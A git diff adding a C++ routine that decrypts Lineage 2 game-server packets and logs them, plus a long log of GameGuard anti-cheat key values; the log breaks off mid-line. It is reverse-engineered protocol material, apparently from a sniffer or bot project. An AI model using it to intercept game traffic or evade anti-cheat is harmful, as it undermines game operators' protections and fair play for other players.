diff --git a/docs/Forsian_GS_Decrypt.cpp b/docs/Forsian_GS_Decrypt.cpp new file mode 100644 index 0000000..91442fc --- /dev/null +++ b/docs/Forsian_GS_Decrypt.cpp @@ -0,0 +1,57 @@ +// [17:13:24] + +void Decrypt(unsigned char *Data, int size_data){ + if (!Crypt) return; + if (Settings.DebugLogFileLineage) { + fprintf(LogLineagePacket, "=======================================? %d (TCP: ~? %d)=============================================\nPacket:\n", NumberLineage2Packet, NumberIPPacket); + PrintData(Data, size_data, LogLineagePacket); + } + int i; + int j=0; + int Temp; + int Temp2 = 0; + for (i=0; i < size_data; i++){ + Temp = Data[i] & 0xFF; + Data[i] = (byte)(Temp ^ (CryptKey[j++] & 0xFF) ^ Temp2); + Temp2 = Temp; + if (j == 16) j = 0; + } + if (Settings.DebugLogFileLineage) { + fprintf(LogLineagePacket, "\nOld Key: "); + for (i = 0; i < 16; i++){ + fprintf(LogLineagePacket, "%02X ", CryptKey[i]); + } + } + long old = 0; + old |= CryptKey[8] & 0xFF; + old |= CryptKey[9] << 0x08 & 0xFF00; + old |= CryptKey[10] << 0x10 & 0xFF0000; + old |= CryptKey[11] << 0x18 & 0xFF000000; + if (Settings.DebugLogFileLineage) { + fprintf(LogLineagePacket, "\nLong Old = 0x%08X\n", old); + fprintf(LogLineagePacket, "Size: %d(dec) %04X(hex)\n", size_data, size_data); + } + old += size_data; + if (Settings.DebugLogFileLineage) { + fprintf(LogLineagePacket, "Old+Size: 0x%08X\n", old); + } + CryptKey[8] = (byte)(old & 0xFF); + CryptKey[9] = (byte)(old >> 0x08 & 0xFF); + CryptKey[10] = (byte)(old >> 0x10 & 0xFF); + CryptKey[11] = (byte)(old >> 0x18 & 0xFF); + if (Settings.DebugLogFileLineage) { + fprintf(LogLineagePacket, "New Crypt Key: "); + for (i = 0; i < 16; i++){ + fprintf(LogLineagePacket, "%02X ", CryptKey[i]); + } + fprintf(LogLineagePacket, "\nPacket After Decrypt:\n"); + PrintData(Data, size_data, LogLineagePacket); + fprintf(LogLineagePacket, "New Crypt Key: "); + for (i = 0; i < 16; i++){ + fprintf(LogLineagePacket, "%02X ", CryptKey[i]); + } + fprintf(LogLineagePacket, "\n"); + fflush(LogLineagePacket); + } + return; +} diff --git a/docs/GameGuardKey.txt b/docs/GameGuardKey.txt new file mode 100644 index 0000000..0b4ae90 --- /dev/null +++ b/docs/GameGuardKey.txt @@ -0,0 +1,1226 @@ +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 02D92807, dwKeys[1] = C61A2F8D, dwKeys[2] = 473753F6, dwKeys[3] = B78510FC;-[0]=E0A2C512,[1]=CFBB190C,[2]=0716B523,[3]=F7026369; +SETKEY:dwKeys[0] = 4621A57D, dwKeys[1] = 34BC2330, dwKeys[2] = DE106146, dwKeys[3] = 436ACE8F;-[0]=0E2AC8E1,[1]=213314FF,[2]=E99EB8D0,[3]=198A6E9A; +SETKEY:dwKeys[0] = E5E9A4AD, dwKeys[1] = 202BD860, dwKeys[2] = 4A47FE37, dwKeys[3] = 0D4541C4;-[0]=F21458ED,[1]=DD0D84F3,[2]=15A028DC,[3]=E5B4FE96; +SETKEY:dwKeys[0] = A1D2BE7D, dwKeys[1] = F4BF9D98, dwKeys[2] = F575ED0B, dwKeys[3] = BB210BC3;-[0]=15BD3117,[1]=3AA4ED09,[2]=F2094126,[3]=021D976C; +SETKEY:dwKeys[0] = D99DCBE2, dwKeys[1] = A5C11292, dwKeys[2] = E6BA22D8, dwKeys[3] = 6E6153C0;-[0]=77BE0F66,[1]=58A7D378,[2]=900A7F57,[3]=601EA91D; +SETKEY:dwKeys[0] = D89503D1, dwKeys[1] = 56AF56EB, dwKeys[2] = 1CD03C0E, dwKeys[3] = 7BF03590;-[0]=10D8440E,[1]=3FC19810,[2]=F76C343F,[3]=0778E275; +SETKEY:dwKeys[0] = 88C6982F, dwKeys[1] = 73F3443E, dwKeys[2] = F351D3A7, dwKeys[3] = 1D8A1CC2;-[0]=0DFBDEA4,[1]=22E202BA,[2]=EA4FAE95,[3]=1A5B78DF; +SETKEY:dwKeys[0] = 18402D27, dwKeys[1] = D7BB0F9D, dwKeys[2] = C7300CAA, dwKeys[3] = 97A1DAE6;-[0]=C09313B0,[1]=EF8ACFAE,[2]=27276381,[3]=D733B5CB; +SETKEY:dwKeys[0] = 128B00B3, dwKeys[1] = 2673841D, dwKeys[2] = B7C3D667, dwKeys[3] = 50095290;-[0]=754C1AC2,[1]=5A55C6DC,[2]=92F86AF3,[3]=62ECBCB9; +SETKEY:dwKeys[0] = 367B5F66, dwKeys[1] = 3FD170CC, dwKeys[2] = EA221914, dwKeys[3] = 07931922;-[0]=9495CC80,[1]=BB8C109E,[2]=7321BCB1,[3]=83356AFB; +SETKEY:dwKeys[0] = F23AF5A8, dwKeys[1] = 8A118E1F, dwKeys[2] = AFADA12E, dwKeys[3] = 2766C1A4;-[0]=93EA3B75,[1]=BCF3E76B,[2]=745E4B44,[3]=844A9D0E; +SETKEY:dwKeys[0] = 5DC656AB, dwKeys[1] = 086CF5F8, dwKeys[2] = F0BE186F, dwKeys[3] = 98EEE13C;-[0]=6724EB4E,[1]=483D3750,[2]=80909B7F,[3]=70844D35; +SETKEY:dwKeys[0] = C81035B2, dwKeys[1] = 8F56F565, dwKeys[2] = 3FF935D1, dwKeys[3] = A3D2DC1C;-[0]=E7FA76FB,[1]=C8E3AAE5,[2]=004E06CA,[3]=F05AD080; +SETKEY:dwKeys[0] = 9A6CFD08, dwKeys[1] = A052E57A, dwKeys[2] = 1A0908DC, dwKeys[3] = B9A4582A;-[0]=223D1749,[1]=0D24CB57,[2]=C5896778,[3]=359DB132; +SETKEY:dwKeys[0] = 87F37923, dwKeys[1] = 8B2D9617, dwKeys[2] = ECBE929E, dwKeys[3] = A4D2BDF4;-[0]=C7A29996,[1]=E8BB4588,[2]=2016E9A7,[3]=D0023FED; +SETKEY:dwKeys[0] = 2BF1784D, dwKeys[1] = A4F3B6E3, dwKeys[2] = 7ECB4201, dwKeys[3] = ADDF61B8;-[0]=5103E573,[1]=7E1A396D,[2]=B6B79542,[3]=46A34308; +SETKEY:dwKeys[0] = 74393618, dwKeys[1] = 368852D1, dwKeys[2] = 868AEA12, dwKeys[3] = BB5878AE;-[0]=98B2721C,[1]=B7ABAE02,[2]=7F06022D,[3]=8F12D467; +SETKEY:dwKeys[0] = 9CB5EB74, dwKeys[1] = A01688C8, dwKeys[2] = 4D865CF8, dwKeys[3] = C0839936;-[0]=26A6D738,[1]=09BF0B26,[2]=C112A709,[3]=31067143; +SETKEY:dwKeys[0] = 05FBBE40, dwKeys[1] = C0B5DF5F, dwKeys[2] = 91892471, dwKeys[3] = B6671F53;-[0]=335DE7A4,[1]=1C443BBA,[2]=D4E99795,[3]=24FD41DF; +SETKEY:dwKeys[0] = FA9EC36B, dwKeys[1] = 4C7CDFE6, dwKeys[2] = EC00BFFC, dwKeys[3] = 75A3B231;-[0]=69B1B39E,[1]=46A86F80,[2]=8E05C3AF,[3]=7E1115E5; +SETKEY:dwKeys[0] = D873C553, dwKeys[1] = B5068FEC, dwKeys[2] = B7391DA5, dwKeys[3] = 70ACBE40;-[0]=9E4D32BA,[1]=B154EEA4,[2]=79F9428B,[3]=89ED94C1; +SETKEY:dwKeys[0] = 518F21EB, dwKeys[1] = C0CF3E9C, dwKeys[2] = BEBBF795, dwKeys[3] = 23F7C4D1;-[0]=0273773B,[1]=2D6AAB25,[2]=E5C7070A,[3]=15D3D140; +SETKEY:dwKeys[0] = E9D02D9B, dwKeys[1] = F27FB0AE, dwKeys[2] = 32B8BC31, dwKeys[3] = F28A63C6;-[0]=C3533CFD,[1]=EC4AE0E3,[2]=24E74CCC,[3]=D4F39A86; +SETKEY:dwKeys[0] = C7FE284B, dwKeys[1] = D8BC484D, dwKeys[2] = D8384CBD, dwKeys[3] = 5858FCDB;-[0]=E359DA5F,[1]=CC400641,[2]=04EDAA6E,[3]=F4F97C24; +SETKEY:dwKeys[0] = E81E48F3, dwKeys[1] = 1F070653, dwKeys[2] = D1C313E4, dwKeys[3] = C7341E5E;-[0]=4931903D,[1]=66284C23,[2]=AE85E00C,[3]=5E913646; +SETKEY:dwKeys[0] = 39CF889C, dwKeys[1] = 55AE57CA, dwKeys[2] = AAD8443D, dwKeys[3] = 83F6AF83;-[0]=B7942CD1,[1]=988DF0CF,[2]=50205CE0,[3]=A0348AAA; +SETKEY:dwKeys[0] = 7F8BE796, dwKeys[1] = B732F737, dwKeys[2] = 57AA8FC0, dwKeys[3] = B08AAE57;-[0]=A340C93D,[1]=8C591523,[2]=44F4B90C,[3]=B4E06F46; +SETKEY:dwKeys[0] = 92BBB315, dwKeys[1] = E3BF2BCE, dwKeys[2] = A478F579, dwKeys[3] = 89B4BD9F;-[0]=0D31CC0B,[1]=22281015,[2]=EA85BC3A,[3]=1A916A70; +SETKEY:dwKeys[0] = 17051999, dwKeys[1] = 30365A3D, dwKeys[2] = 59F11351, dwKeys[3] = 5700857F;-[0]=072C01CC,[1]=2835DDD2,[2]=E09871FD,[3]=108CA7B7; +SETKEY:dwKeys[0] = 0C1FA45D, dwKeys[1] = 912A5DF0, dwKeys[2] = FA5FF25A, dwKeys[3] = D0A05A54;-[0]=B6CBFA63,[1]=99D2267D,[2]=517F8A52,[3]=A16B5C18; +SETKEY:dwKeys[0] = 22557B6C, dwKeys[1] = 8E9F740E, dwKeys[2] = 2592530D, dwKeys[3] = 7BCAA52C;-[0]=411CF0B7,[1]=6E052CA9,[2]=A6A88086,[3]=56BC56CC; +SETKEY:dwKeys[0] = 6A009A14, dwKeys[1] = F8A08F5C, dwKeys[2] = 1EDC8C50, dwKeys[3] = 0181BF1E;-[0]=CFBF6C76,[1]=E0A6B068,[2]=280B1C47,[3]=D81FCA0D; +SETKEY:dwKeys[0] = 5496F2BF, dwKeys[1] = 0DBEA0D6, dwKeys[2] = B0E6FA9E, dwKeys[3] = F21A6764;-[0]=6F877166,[1]=409EAD78,[2]=88330157,[3]=7827D71D; +SETKEY:dwKeys[0] = 2041237E, dwKeys[1] = B3DF6012, dwKeys[2] = 0C55716F, dwKeys[3] = 6C7F8822;-[0]=0DA6CE30,[1]=22BF122E,[2]=EA12BE01,[3]=1A06684B; +SETKEY:dwKeys[0] = F7653F79, dwKeys[1] = 664A1966, dwKeys[2] = 3FCCCEDA, dwKeys[3] = 38DA1EEF;-[0]=892C0973,[1]=A635D56D,[2]=6E987942,[3]=9E8CAF08; +SETKEY:dwKeys[0] = 069A6795, dwKeys[1] = 2003F212, dwKeys[2] = 59E7D6D9, dwKeys[3] = 7BB53845;-[0]=1FDCA77A,[1]=30C57B64,[2]=F868D74B,[3]=087C0101; +SETKEY:dwKeys[0] = 471DC2F5, dwKeys[1] = 498928BD, dwKeys[2] = 2A528DB2, dwKeys[3] = 39327AB8;-[0]=D67EB07B,[1]=F9676C65,[2]=31CAC04A,[3]=C1DE1600; +SETKEY:dwKeys[0] = 5A14A647, dwKeys[1] = 65B55353, dwKeys[2] = 19D6E63D, dwKeys[3] = 903F406B;-[0]=607B4F22,[1]=4F62933C,[2]=87CF3F13,[3]=77DBE959; +SETKEY:dwKeys[0] = 6BBF43CF, dwKeys[1] = 20F0ECE9, dwKeys[2] = C46B0604, dwKeys[3] = 5FE5B269;-[0]=3E4169B8,[1]=1158B5A6,[2]=D9F51989,[3]=29E1CFC3; +SETKEY:dwKeys[0] = 9E55E895, dwKeys[1] = CB7D17BB, dwKeys[2] = D024E268, dwKeys[3] = 5DAAC8BF;-[0]=D2532C66,[1]=FD4AF078,[2]=35E75C57,[3]=C5F38A1D; +SETKEY:dwKeys[0] = B0AACE7C, dwKeys[1] = BC38856B, dwKeys[2] = F607F688, dwKeys[3] = 3D86952F;-[0]=794D9A2B,[1]=56544635,[2]=9EF9EA1A,[3]=6EED3C50; +SETKEY:dwKeys[0] = 35B7BE26, dwKeys[1] = 9364B85F, dwKeys[2] = BFCB0DAE, dwKeys[3] = 6640482C;-[0]=4B1248CC,[1]=640B94D2,[2]=ACA638FD,[3]=5CB2EEB7; +SETKEY:dwKeys[0] = 85EED0DE, dwKeys[1] = 9EFD37B8, dwKeys[2] = 28FB733F, dwKeys[3] = 798DC857;-[0]=DA7E3EC7,[1]=F567E2D9,[2]=3DCA4EF6,[3]=CDDE98BC; +SETKEY:dwKeys[0] = EBD21097, dwKeys[1] = F71D6BDF, dwKeys[2] = 2D3C636F, dwKeys[3] = DC0359F0;-[0]=DC816920,[1]=F398B53E,[2]=3B351911,[3]=CB21CF5B; +SETKEY:dwKeys[0] = 2A3F1F9F, dwKeys[1] = F7242BB6, dwKeys[2] = 86C46EA5, dwKeys[3] = CD69A706;-[0]=32C055F9,[1]=1DD989E7,[2]=D57425C8,[3]=2560F382; +SETKEY:dwKeys[0] = 5ECEA150, dwKeys[1] = B67C4AD0, dwKeys[2] = B736D07E, dwKeys[3] = FC811415;-[0]=C47E8B88,[1]=EB675796,[2]=23CAFBB9,[3]=D3DE2DF3; +SETKEY:dwKeys[0] = 11136E70, dwKeys[1] = EB419196, dwKeys[2] = 37156ED0, dwKeys[3] = 311F1F87;-[0]=53AE5DA8,[1]=7CB781B6,[2]=B41A2D99,[3]=440EFBD3; +SETKEY:dwKeys[0] = 48365FF2, dwKeys[1] = CDD0DD64, dwKeys[2] = 6502D186, dwKeys[3] = 3E2A5C4A;-[0]=C46DBB05,[1]=EB74671B,[2]=23D9CB34,[3]=D3CD1D7E; +SETKEY:dwKeys[0] = CE8CB49F, dwKeys[1] = F8067144, dwKeys[2] = 7A989899, dwKeys[3] = 0EA375E0;-[0]=A354CDB9,[1]=8C4D11A7,[2]=44E0BD88,[3]=B4F46BC2; +SETKEY:dwKeys[0] = A54B9246, dwKeys[1] = 82788E44, dwKeys[2] = D49002D3, dwKeys[3] = 66523374;-[0]=C108A1F5,[1]=EE117DEB,[2]=26BCD1C4,[3]=D6A8078E; +SETKEY:dwKeys[0] = 433A5032, dwKeys[1] = 3AC521BE, dwKeys[2] = 853882FA, dwKeys[3] = 55C0ED44;-[0]=B27E257B,[1]=9D67F965,[2]=55CA554A,[3]=A5DE8300; +SETKEY:dwKeys[0] = 3D60C2B8, dwKeys[1] = D06156AB, dwKeys[2] = E0654B42, dwKeys[3] = D3BFB817;-[0]=D70B6C6C,[1]=F812B072,[2]=30BF1C5D,[3]=C0ABCA17; +SETKEY:dwKeys[0] = 97A92BD9, dwKeys[1] = 15C474B4, dwKeys[2] = FB553DE2, dwKeys[3] = 82F10F80;-[0]=C5970921,[1]=EA8ED53F,[2]=22237910,[3]=D237AF5A; +SETKEY:dwKeys[0] = E1C63957, dwKeys[1] = 5FF908FE, dwKeys[2] = 705D35BE, dwKeys[3] = 5AAF571E;-[0]=8F762FE8,[1]=A06FF3F6,[2]=68C25FD9,[3]=98D68993; +SETKEY:dwKeys[0] = C00B9DD3, dwKeys[1] = BFCC7E27, dwKeys[2] = B685DEF4, dwKeys[3] = E7149670;-[0]=3F3D4DAF,[1]=102491B1,[2]=D8893D9E,[3]=289DEBD4; +SETKEY:dwKeys[0] = 50292E8D, dwKeys[1] = 82AF0F2B, dwKeys[2] = C90E6AE6, dwKeys[3] = B0729CD6;-[0]=20B621C1,[1]=0FAFFDDF,[2]=C70251F0,[3]=371687BA; +SETKEY:dwKeys[0] = 384E958B, dwKeys[1] = 325261AA, dwKeys[2] = A16E9B5B, dwKeys[3] = 664E96CF;-[0]=A88C298C,[1]=8795F592,[2]=4F3859BD,[3]=BF2C8FF7; +SETKEY:dwKeys[0] = 5DE61193, dwKeys[1] = ABB54E17, dwKeys[2] = DF051979, dwKeys[3] = F8073BB2;-[0]=AC66015E,[1]=837FDD40,[2]=4BD2716F,[3]=BBC6A725; +SETKEY:dwKeys[0] = F83A61F6, dwKeys[1] = AA2618B2, dwKeys[2] = 3ADC4480, dwKeys[3] = D60A3E96;-[0]=84B6B876,[1]=ABAF6468,[2]=6302C847,[3]=93161E0D; +SETKEY:dwKeys[0] = C80B11EB, dwKeys[1] = 0D84B59B, dwKeys[2] = D7FB9954, dwKeys[3] = 2E6C5D48;-[0]=B1B07D98,[1]=9EA9A186,[2]=56040DA9,[3]=A610DBE3; +SETKEY:dwKeys[0] = 44C009DC, dwKeys[1] = AF06B3FA, dwKeys[2] = 6FB2ABBC, dwKeys[3] = DA654381;-[0]=8405E385,[1]=AB1C3F9B,[2]=63B193B4,[3]=93A545FE; +SETKEY:dwKeys[0] = 5B5A2606, dwKeys[1] = DFC0D801, dwKeys[2] = A404AE9E, dwKeys[3] = 5A3B7A24;-[0]=0DDC9D37,[1]=22C54129,[2]=EA68ED06,[3]=1A7C3B4C; +SETKEY:dwKeys[0] = 8E873BB2, dwKeys[1] = 8E15EB74, dwKeys[2] = 80A9B5F9, dwKeys[3] = 456AA8EB;-[0]=68B96D21,[1]=47A0B13F,[2]=8F0D1D10,[3]=7F19CB5A; +SETKEY:dwKeys[0] = E457CEFD, dwKeys[1] = 76C41143, dwKeys[2] = D6E7E016, dwKeys[3] = EAA957C1;-[0]=6C8BF10B,[1]=43922D15,[2]=8B3F813A,[3]=7B2B5770; +SETKEY:dwKeys[0] = 22C8A4DB, dwKeys[1] = 13ED2165, dwKeys[2] = C4A44458, dwKeys[3] = AAD3BA60;-[0]=E50DD7E3,[1]=CA140BFD,[2]=02B9A7D2,[3]=F2AD7198; +SETKEY:dwKeys[0] = 7D49D3D9, dwKeys[1] = 4F171C1F, dwKeys[2] = 707957FD, dwKeys[3] = 0B93C33A;-[0]=14A5C344,[1]=3BBC1F5A,[2]=F311B375,[3]=0305653F; +SETKEY:dwKeys[0] = 426201D9, dwKeys[1] = AC4EF300, dwKeys[2] = 4E8EA3D7, dwKeys[3] = B651BBCE;-[0]=B8779CF5,[1]=976E40EB,[2]=5FC3ECC4,[3]=AFD73A8E; +SETKEY:dwKeys[0] = 3EECE66F, dwKeys[1] = D4BC9D6A, dwKeys[2] = 081D10E8, dwKeys[3] = 3310BCDC;-[0]=3749BBDA,[1]=185067C4,[2]=D0FDCBEB,[3]=20E91DA1; +SETKEY:dwKeys[0] = AEA33F3B, dwKeys[1] = B8DE9B59, dwKeys[2] = B48E0F93, dwKeys[3] = 5E0B3FEC;-[0]=C81D3032,[1]=E704EC2C,[2]=2FA94003,[3]=DFBD9649; +SETKEY:dwKeys[0] = DEC4D94E, dwKeys[1] = EBDD1F3B, dwKeys[2] = B550D62E, dwKeys[3] = 0BA78EF1;-[0]=B3F59266,[1]=9CEC4E78,[2]=5441E257,[3]=A455341D; +SETKEY:dwKeys[0] = 6E6421DD, dwKeys[1] = D4142840, dwKeys[2] = 1A080213, dwKeys[3] = 1D960579;-[0]=332A8BBF,[1]=1C3357A1,[2]=D49EFB8E,[3]=248A2DC4; +SETKEY:dwKeys[0] = 9FBCF102, dwKeys[1] = 4ED407A6, dwKeys[2] = 65800F33, dwKeys[3] = 0F28EB38;-[0]=9A097178,[1]=B510AD66,[2]=7DBD0149,[3]=8DA9D703; +SETKEY:dwKeys[0] = 44FC756D, dwKeys[1] = EEEAB4EB, dwKeys[2] = B89A20CC, dwKeys[3] = ECCCAA57;-[0]=B91410B3,[1]=960DCCAD,[2]=5EA06082,[3]=AEB4B6C8; +SETKEY:dwKeys[0] = 98FD1991, dwKeys[1] = B53EA90E, dwKeys[2] = 026D4689, dwKeys[3] = 5E83CEF1;-[0]=111EFFC9,[1]=3E0723D7,[2]=F6AA8FF8,[3]=06BE59B2; +SETKEY:dwKeys[0] = F95FAD97, dwKeys[1] = 77ACCAEC, dwKeys[2] = 29696065, dwKeys[3] = CBFFBEBD;-[0]=55970472,[1]=7A8ED86C,[2]=B2237443,[3]=4237A209; +SETKEY:dwKeys[0] = 43D976ED, dwKeys[1] = 5B8FC89D, dwKeys[2] = 7AFB8216, dwKeys[3] = 893614AA;-[0]=8BB28266,[1]=A4AB5E78,[2]=6C06F257,[3]=9C12241D; +SETKEY:dwKeys[0] = 0BEC438B, dwKeys[1] = AF398EDF, dwKeys[2] = 2BB3E53B, dwKeys[3] = ECA6D21A;-[0]=ED549F16,[1]=C24D4308,[2]=0AE0EF27,[3]=FAF4396D; +SETKEY:dwKeys[0] = CA412C19, dwKeys[1] = 8DE7EB3D, dwKeys[2] = 148F81B7, dwKeys[3] = 82022486;-[0]=05B11939,[1]=2AA8C527,[2]=E2056908,[3]=1211BF42; +SETKEY:dwKeys[0] = 82135F21, dwKeys[1] = FBDC66AA, dwKeys[2] = 1582E43C, dwKeys[3] = 9829A700;-[0]=626067CE,[1]=4D79BBD0,[2]=85D417FF,[3]=75C0C1B5; +SETKEY:dwKeys[0] = 7E8E83D4, dwKeys[1] = 014AB934, dwKeys[2] = DF40C23F, dwKeys[3] = AF189614;-[0]=A4ECD85F,[1]=8BF50441,[2]=4358A86E,[3]=B34C7E24; +SETKEY:dwKeys[0] = 0EF5A474, dwKeys[1] = EF021335, dwKeys[2] = 1399BE49, dwKeys[3] = 2E9C4C80;-[0]=A40C20B5,[1]=8B15FCAB,[2]=43B85084,[3]=B3AC86CE; +SETKEY:dwKeys[0] = 56C82538, dwKeys[1] = B3A19F75, dwKeys[2] = 104ECD67, dwKeys[3] = 3C35E949;-[0]=CF786223,[1]=E061BE3D,[2]=28CC1212,[3]=D8D8C458; +SETKEY:dwKeys[0] = 2F5DFC5B, dwKeys[1] = B65468E0, dwKeys[2] = 63CCA751, dwKeys[3] = 4F16A24F;-[0]=8301BB7A,[1]=AC186764,[2]=64B5CB4B,[3]=94A11D01; +SETKEY:dwKeys[0] = A4C5BDEF, dwKeys[1] = 7A0A2700, dwKeys[2] = B660D14E, dwKeys[3] = BD1A30AA;-[0]=206308F4,[1]=0F7AD4EA,[2]=C7D778C5,[3]=37C3AE8F; +SETKEY:dwKeys[0] = F919FD65, dwKeys[1] = F6EC283F, dwKeys[2] = E944C7E6, dwKeys[3] = C6EF3A34;-[0]=16B6305F,[1]=39AFEC41,[2]=F102406E,[3]=01169624; +SETKEY:dwKeys[0] = DF6984EF, dwKeys[1] = 91E710C2, dwKeys[2] = E9947BF1, dwKeys[3] = E475A68C;-[0]=965E1540,[1]=B947C95E,[2]=71EA6571,[3]=81FEB33B; +SETKEY:dwKeys[0] = 5F96A0F4, dwKeys[1] = 1EC5851F, dwKeys[2] = 33E3B10C, dwKeys[3] = 094050B4;-[0]=AC3CFE51,[1]=8325224F,[2]=4B888E60,[3]=BB9C582A; +SETKEY:dwKeys[0] = 2A00B86F, dwKeys[1] = FFFC2246, dwKeys[2] = AA8198DE, dwKeys[3] = 3AD7A7CB;-[0]=FBC34068,[1]=D4DA9C76,[2]=1C773059,[3]=EC63E613; +SETKEY:dwKeys[0] = 2ADFD460, dwKeys[1] = 31117AB1, dwKeys[2] = 5AEC207E, dwKeys[3] = 1B3AB76A;-[0]=BE020EAF,[1]=911BD2B1,[2]=59B67E9E,[3]=A9A2A8D4; +SETKEY:dwKeys[0] = E82FEC0D, dwKeys[1] = AA7126F0, dwKeys[2] = 982A8580, dwKeys[3] = F87D00C5;-[0]=E826656C,[1]=C73FB972,[2]=0F92155D,[3]=FF86C317; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 619FED52, dwKeys[1] = AC5B404D, dwKeys[2] = 63D637B8, dwKeys[3] = F20D832F;-[0]=EAE2B4D5,[1]=C5FB68CB,[2]=0D56C4E4,[3]=FD4212AE; +SETKEY:dwKeys[0] = 661A9358, dwKeys[1] = A8669629, dwKeys[2] = B4E1E4ED, dwKeys[3] = 4AAD11C7;-[0]=F6C03B5B,[1]=D9D9E745,[2]=11744B6A,[3]=E1609D20; +SETKEY:dwKeys[0] = F0CE78A6, dwKeys[1] = 3A345ADA, dwKeys[2] = 1772ABC6, dwKeys[3] = 3E890926;-[0]=EFBD6515,[1]=C0A4B90B,[2]=08091524,[3]=F81DC36E; +SETKEY:dwKeys[0] = 4CD2668B, dwKeys[1] = EF1DF838, dwKeys[2] = F6E75534, dwKeys[3] = 6E55E129;-[0]=7D9CAF02,[1]=5285731C,[2]=9A28DF33,[3]=6A3C0979; +SETKEY:dwKeys[0] = 92405B8C, dwKeys[1] = 7E0B67EC, dwKeys[2] = C85FF3F2, dwKeys[3] = 65090C51;-[0]=BF45E0CD,[1]=905C3CD3,[2]=58F190FC,[3]=A8E546B6; +SETKEY:dwKeys[0] = 18662CD6, dwKeys[1] = 98EDEFAD, dwKeys[2] = CCB6AA8C, dwKeys[3] = F71E289F;-[0]=9DBCC635,[1]=B2A51A2B,[2]=7A08B604,[3]=8A1C604E; +SETKEY:dwKeys[0] = 5BE43CF4, dwKeys[1] = 7D1BE8BD, dwKeys[2] = 0481A808, dwKeys[3] = F047583F;-[0]=8659194F,[1]=A940C551,[2]=61ED697E,[3]=91F9BF34; +SETKEY:dwKeys[0] = F9C84210, dwKeys[1] = 27CC90C5, dwKeys[2] = 8F8E251C, dwKeys[3] = BDEFBA11;-[0]=8CC47733,[1]=A3DDAB2D,[2]=6B700702,[3]=9B64D148; +SETKEY:dwKeys[0] = 9E69B86D, dwKeys[1] = BFE7AB96, dwKeys[2] = 61A70E56, dwKeys[3] = CB302122;-[0]=206AACAA,[1]=0F7370B4,[2]=C7DEDC9B,[3]=37CA0AD1; +SETKEY:dwKeys[0] = DFD22F9D, dwKeys[1] = 73157DDE, dwKeys[2] = D5B744A3, dwKeys[3] = FE6D4BED;-[0]=772EE0C2,[1]=58373CDC,[2]=909A90F3,[3]=608E46B9; +SETKEY:dwKeys[0] = 351F50A2, dwKeys[1] = 1B4360DE, dwKeys[2] = 62724060, dwKeys[3] = 6EB0866D;-[0]=FE2CD957,[1]=D1350549,[2]=1998A966,[3]=E98C7F2C; +SETKEY:dwKeys[0] = C6A8580F, dwKeys[1] = D75679FD, dwKeys[2] = 4C37372B, dwKeys[3] = FED0E1E4;-[0]=702D1E9A,[1]=5F34C284,[2]=97996EAB,[3]=678DB8E1; +SETKEY:dwKeys[0] = 04000A29, dwKeys[1] = 756DAF2F, dwKeys[2] = 5758C6A4, dwKeys[3] = 552960B7;-[0]=67FFE161,[1]=48E63D7F,[2]=804B9150,[3]=705F471A; +SETKEY:dwKeys[0] = 814BBF11, 